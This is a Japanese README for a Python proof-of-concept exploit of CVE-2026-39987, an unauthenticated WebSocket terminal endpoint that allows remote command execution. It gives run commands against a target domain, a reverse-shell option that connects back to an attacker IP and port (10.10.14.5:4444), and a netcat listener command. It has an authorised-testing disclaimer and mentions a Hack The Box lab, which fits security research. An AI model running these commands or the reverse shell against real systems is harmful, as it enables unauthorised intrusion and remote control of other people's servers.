
CVE-2026-39987のPython proof-of-concept。認証不要のWebSocketターミナルエンドポイントを悪用し、リモートコマンド実行とリバースシェルアクセスを実現します。
CVE-2026-39987 の概念実証(PoC)で、脆弱な WebSocket ターミナルエンドポイントを介したリモートコマンド実行を実証します。
免責事項: この PoC は、許可されたセキュリティテストおよび教育目的でのみ使用することを意図しています。自身が所有するシステム、またはテストの明示的な許可を得たシステムに対してのみ使用してください。
この脆弱性により、認証されていないユーザーがアプリケーションの WebSocket ターミナルエンドポイントと対話し、コマンドをリモートで実行できるようになります。
PoC は以下に接続します:
wss://<target>/terminal/ws
そして WebSocket 接続を介したコマンド実行を実証します。
この PoC の開発・テスト中に使用されたターゲットは、許可された Hack The Box ラボ環境でした。
websocket-client必要なライブラリをインストールします:
pip3 install websocket-client
python3 test.py <domain>
例:
python3 test.py somesite.com
PoC は WebSocket 接続を確立し、テストコマンドを実行します。
PoC はリバースシェルオプションもサポートしています:
python3 exploit.py <domain> --reverse-shell <IP> --port <PORT>
例:
python3 exploit.py somesite.com --reverse-shell 10.10.14.5 --port 4444
PoC を実行する前にリスナーを起動します:
nc -lvnp 4444
このアプリケーションは、認証を必要とせずに WebSocket ターミナルエンドポイントを公開しています。
PoC は以下を実行します:
最初の ws.recv() は重要です。なぜなら、サーバーは接続確立直後にシェルプロンプトを送信するからです。